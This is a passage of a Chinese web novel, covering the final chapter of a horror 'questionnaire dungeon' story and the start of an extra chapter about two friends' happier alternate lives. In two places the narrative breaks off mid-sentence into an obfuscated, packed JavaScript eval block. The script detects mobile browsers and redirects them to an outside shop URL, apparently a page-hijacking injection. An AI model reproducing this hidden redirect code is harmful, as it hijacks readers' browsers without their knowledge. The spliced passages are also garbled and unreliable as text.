程映雪被扼住了气管,眨眼间憋得满脸通红,喉咙间只有“咔咔”的响声,半个字也吐不出来。 “叫你松手!” 舒怀瑾怒喝出声,趁着忍冬瞬秒间的愣神,携刀上前砍向忍冬的手腕。 刀劈上忍冬手腕的瞬间却如切到了一块豆腐上一般,腕口整整齐齐断开,程映雪随即从空中掉下,落在舒怀瑾的怀中。 舒怀瑾连忙抱着程映雪撤远。只见忍冬神色晦暗,手腕上的切口却长出细小的组织,逐渐生成了新的手。 她是不死不灭的。 现下已经激怒她了,她们恐怕只能尽可能地拖时间了。 “这里其实根本不是什么问卷吧。”舒怀瑾牙关在周身的时空扭曲下被迫颤抖着,“这些副本根本是按照你的记忆生成的世界,是你想扭转的事实,对吗?” 忍冬看向舒怀瑾,寒芒闪过,却被方淮笑眯眯地尽数挡下。 “她说得挺好的呀。别那么着急,我倒是想听听她是怎么猜出来的。” 周身撕裂的痛楚愈发明显,舒怀瑾吐出一口血沫,带着昏迷过去的程映雪一齐跌在地上,又硬撑着支起了身子:“副本里到处都是忍冬和你的痕迹,就差把故事剖出来摆在明面上了,想不猜到都难。” “说起扭转事实,忍冬,你早就知道方淮已经和以前不一样了吧。” “我猜,你把她复活了,又封印了她的记忆,放在了问卷里,是吗?” 忍冬没有说话,方淮倒是拍手开怀大笑起来:“不愧是我喜欢的小朋友,你说对了。” “我都自杀了,谁能想到她脑袋出了什么毛病,偏偏要把我复活。”方淮盯着忍冬的眼睛,眼底却是一片恶毒的笑意,“把我复活了,却又不接受现在的我。你真的和你嘴里所说的一样正义凛然,真的是为了我好吗?” “别天真了,忍冬。要么就和我一起把这里变成我们的游乐场,养几条像她们这样的小狗,要么就别做你那令人作呕的可怜虫模样,干脆点把这里一把火烧了吧。” “我们早就该死了。” 忍冬依旧低头沉默着,周围空中却遽然绽出几条幽深的裂缝,空间巨大的冲击让舒怀瑾四人在水泥地上划出长长的血痕,一直延伸到防护栏边才停下来。 几近疯狂的静默中,忍冬缓缓抬头,迈步上前将方淮轻柔搂入怀中。 “我渴盼着能度过艰难的冬天,在春天开放。” 但是她没有退路,癌细胞已然蔓延,她只能选择在一个春天坠下天台。 “我想让我们的悲剧不再上演,想让你和我继续从前的约定。” 于是她在坠楼后意识尚存之际被一时兴起的祂转化为了这样的存在,残存的怨念化作问卷,以她的标准筛选出祂满意的棋子。 她用骨血换来友人的复活,让她忘记先前痛苦的回忆。但她只能在暗处远远看着她,不敢上前相认,只怕记忆的封印会随着她的出现而松动。 “方淮,求你不要这样伤害我。” 忍冬的眼角湿润,却怎么也落不下泪来。 是了,她早就不是真正的人了。 然而奄奄一息的灵魂尚且能够持有人类的特性,从地下重新爬回人间的灵魂却早已沾染了腐朽的气息。没有任何人能真正逃脱死神的裁决。 “嗤”的一声闷响,方淮的手洞穿了忍冬的身体,捧出了她的心脏。 “道貌岸然。” 那颗苍白的心脏像水晶一般碎裂开来,随后楼体开始猛烈地震动,地面出现无数獠牙般的裂痕。 身在护栏边上的舒怀瑾和邓溪明只能抓紧了伤势严重的程映雪和江贮月,尽可能地避免掉入裂缝中。 然而很快不仅仅是楼体颤抖,天仿佛也颠倒了过来。无数人从楼中掉落出来,一切都仿佛在哀嚎、滑落、坠下。 世界在崩坏、碎裂,只有忍冬和方淮的身影矗立在中央。 正当苦苦支撑的舒怀瑾和邓溪明再也无法抓住护栏,疾速坠落于空中,就要步上楼内其他人的后尘时,天空却锵然撕裂开一道巨大的白色裂缝。 在坠入那道发着光的裂缝前,舒怀瑾看见忍冬的身躯逐渐佝偻、腐朽,最终化作了一地灰烬,向下飘散。方淮则释然地笑着,张开了双臂,身形渐渐透明,如泡影般上升着,消失在了空中。 世界终结于一片苍茫中。 …… A市第一人民医院,四楼,四号病房。 自从被从那道裂缝救出来以后,四人就在医院上过上了休养生息的日子。偶尔被推到院子里和其他幸存的同学们唠唠嗑,晒晒阳光补补钙,忽略掉伤口生长的痒痛外也算得上惬意。 在此期间,她们遇上了在前几个副本中认识的龙海玉、祁蔚光等人,几人顿时好一阵叙旧,仿佛是相交了许久的老友。更惊喜的是,她们还见到了仍算得上健康的姜宁和阮鑫玲。 据姜宁所说,她们二人在副本中失手被一株捕魂草所捕获,但幸而那个副本没有时间限制。所以,她们只是一直被困在捕魂草中,被副本分了一缕魂魄偶尔游荡在其他副本中,并没有生命危险。等到问卷被破坏之时,她们也被一并救出来了。 听闻她们二人的魂魄还帮了四人一回,姜宁和阮鑫玲也不禁感慨这冥冥之中的缘分,也算是回报了四人的搭救之恩。 之前沉默寡言的阮鑫玲如今看起来精神好了许多,瘦削的脸颊也变得水润光泽,不似之前灰败的模样。她“噔噔噔”地跑回了自己的病房,跑回来时手上已多了四份花束。 阮鑫玲逐个拉起四人的手,目光真挚温暖:“这些是我自己扎的花束,之前的事情真的谢谢你们。” 花束用牛皮纸包裹着,小巧洁白的洋甘菊与肆意盛放的向日葵交织成星月共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593699|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳绚丽的梦,再用小朵白蒲公英与翠绿的栀子叶作点缀,一同簇拥着在淡金色的阳光下熠熠生辉。 她微笑道:“洋甘菊的花语是不屈,向日葵的花语是希望。祝愿我们都能迎来新生。” 祝愿我们都能迎来新生。她们默念道。 过了小半个月,如今躺在病床上的四人已经恢复得差不多了。 只见舒怀瑾瘫在床上享受家里人带来的小零嘴儿;程映雪一集接一集地看着《罗小黑战记》试图洗刷这段时间的恐怖回忆;江贮月被父母一连串的脑瓜崩弹得晕头转向,堂姐带着锦旗来慰问之后成功也收获了一筐子脑瓜崩,随后四人抱在一起痛哭流涕;邓溪明不亦乐乎地看着电视上的比赛直播,连眼睛都不想眨一下。 副本中的经历已经逐渐淡去,而新的生活还要继续。除却偶尔午夜梦回仍会惊泣外,她们的生活似乎在逐渐被扳回正轨。四人之间的感情联系更为紧密,一切仿佛都将恢复成原样。 但与此同时,四人收到了一份惊天噩耗。 【辅导员:鉴于不可抗力,各位同学这学期的期末考试延期至下学期开学进行。】 舒怀瑾把手机随手扔在床上:“诶哈哈……好奇怪呀,我应该是眼睛花了吧,怎么看到了一些恐怖的字眼。” 程映雪关掉平板,打开了学习笔记:“开始复习吧,这个假期终究是被毁掉了。” 江贮月红温了:“这合理吗?这合理吗?我经历了这么多已经把上学期学的全都忘了啊!老天奶,你疼疼我吧!全体将士听令,向教务部开炮!开炮!” 邓溪明两眼一闭:“……我有巨物恐惧症,能不能不上大学了。” 四人抱头哀嚎,隔壁的病房也一个接一个的,如传染一般响起哀嚎声。 都惨成这样了,难道就不能放她们一马吗? 虽然自学生们从问卷里死里逃生回来后,学校对于学生们的意见采纳程度更高了,民主性更强了,但是这届期末考试宛如五指山一般,哪怕是齐天大圣来了也没法避开。 某种程度上这也算得上是不忘初心了。 她们醒来花了些时间,因此不清楚问卷一事的处理结果如何。不过从外界反响来看,这件事最终被定性为一场最高等级保密的社会恶性事件,从此世界上又多了一个新的未解之谜。 至于为什么目击证人这么多却能保密?当然是因为大学生们是最好被收买的群体,加几个学分和志愿时,包办点工作,就没人有异议了。 此外,真实情况如果被泄露会引起社会极大动乱,这也是说服他们的理由之一。 没有人希望破坏这来之不易的平静。 从此青草逐渐爬满了回忆,只有重重钢铁保护之中才有人继续为真相探寻着。 …… 昏暗的夜空中,祂垂下眼眸,俯瞰地面上星星点点的灯火。 这一场实验提前结束。下一次,会轮到谁? (全文完) 77. 番外一 乌托邦 节点一: “我认得你,你和我一个院的。辅导员马上就到,人赃并获,我看你怎么抵赖!” 方淮此话一出,那名偷拍犯却登时大胆了起来,嗤笑一声。 “你叫吧,你看辅导员是信你还是信我。” 没过多久,辅导员便赶到了。见到现场一片混乱,再加上来时路上同学的描述与自身对这名男同学的了解,已经将事实还原了个七七八八。 那偷拍犯见了辅导员,反而挺直了腰板:“导员,你知道我爸是谁的。” 知道他爸是谁,怎么还会敢动自己?那女生家里条件普通的很,辅导员只要有脑子都会清楚该怎么抉择,除非她不想要工作了。 然而他想错了。 辅导员拿起手机对准现场咔嚓几声,又从方淮那儿拿起手机翻到偷拍的照片那一页,拍照留档,随后直接拨通了报警电话。 “你干什么?你……你不要命了?敢惹我爸!” 听见辅导员报警的声音,那男的才开始慌张了起来,甚至试图上前抢夺电话,但被身旁的同学眼疾手快地压住了。 辅导员报警完毕后,安抚地拍了拍方淮的肩膀:“没事,警察马上就到。” “至于你。”她看向那油头肥耳的偷拍犯,眼中有熊熊烈火在燃烧,“我管你爸是谁?看看是你爸的手段硬,还是警察的手铐硬。” 近日扫黑除恶蔚然成风,他爸要是敢在这个节骨眼上捞他,那可真是撞到枪口上了。 警察的效率很高,将事情如实记录后便带了人去做笔录,等待偷拍犯的是拘留和学籍开除通告。 尽管家乡远在千里之外,但忍冬和辅导员的支持让方淮在追寻公道的路上没那么孤单。此外,这件事在校园内发酵以后,同学们均全力支持方淮,自发兴起了一阵偷拍检举,摘出了不少害群之马。 至于偷拍犯那位所谓的大人物爹,不到两月就落马了,戴着银闪闪的手镯到了监狱里当劳改犯。 而那偷拍犯一出拘留所,两眼一黑就因为糖尿病晕倒送到了医院里,后面家底都被罚清了,自然是没有钱再给他治疗这慢性疾病了。 此后,方淮继续过着宁静而幸福的生活,与忍冬双双升学。 …… 节点二: 【老师,实验室通风橱效果实在不好,实验室门又要求紧闭,我们铺胶和收拾试剂的时候只能憋着气,做一天实验下来经常头晕眼花的,您看什么时候方便可以和学院催一下维修吗?】 大师姐今天做完实验一出门,直接晕倒在了走廊上。前天另一个师姐做着做着实验,鼻血流了满桌子。 这实验室里的小白鼠根本不只在笼子里。 导师平日里只会在手机上push他们出成果,连远远看一眼实验室都难得,根本见不到人。想联系他,只能通过线上。 忍冬给导师发了这条信息后,过了整整四天才收到了导师的回复。 【都和你们说过了,所有人的通风橱都不好用,报修也没用。】 【觉得难受就去自己买个防毒面罩戴好。现在年轻人身体这么差吗?想当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593700|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年我们做实验的时候哪里有你们这么好的条件。】 【上次和你们说的那个实验,做出来了没有?我这边等着发文章,别给我找借口拖了。】 又来了。这实验室里所有人的毕业证书都捏在导师一人手里,挣扎的结果只能是鱼死网破。学术圈子说大不大说小不小,偏偏这位导师是个人物,假如举报了他,从此恐怕没人会再收自己,和被逐出学术圈也没什么两样了,因而没有人敢忤逆他。 但学姐们和自己的身体一日不如一日,头发一把一把地掉,忍冬隐隐有些担忧事态即将发展到不可挽回的程度。 她决定做些什么。 方淮学的是新闻学,硕士毕业之后在一家有名的报社工作,最近正好在做一期生物安全相关的科普小报。 既然导师平常对实验室不上心,那么学生们只好自发为实验室宣传一下了。 一切都很顺利。采风、检测、宣发。等导师在网络上见到这篇新闻稿时,它已经成了热搜第一。 实验室安全整改之风终于吹过了大江南北,所有安全措施都严格落实,忍冬也幸运地成为了另一名导师的学生。 这名导师是真正的学者,拥有渊博的学识和宽广的胸襟。她会和学生们共同探寻实验中的不足,实验室中氛围其乐融融,大家发在顶刊上的paper也一个接一个。 忍冬离开了吸血的家庭,和方淮都实现了自己的人生理想,作为挚友一同走完了平凡但精彩的一生。 …… 很平凡的一生,没有血与泪。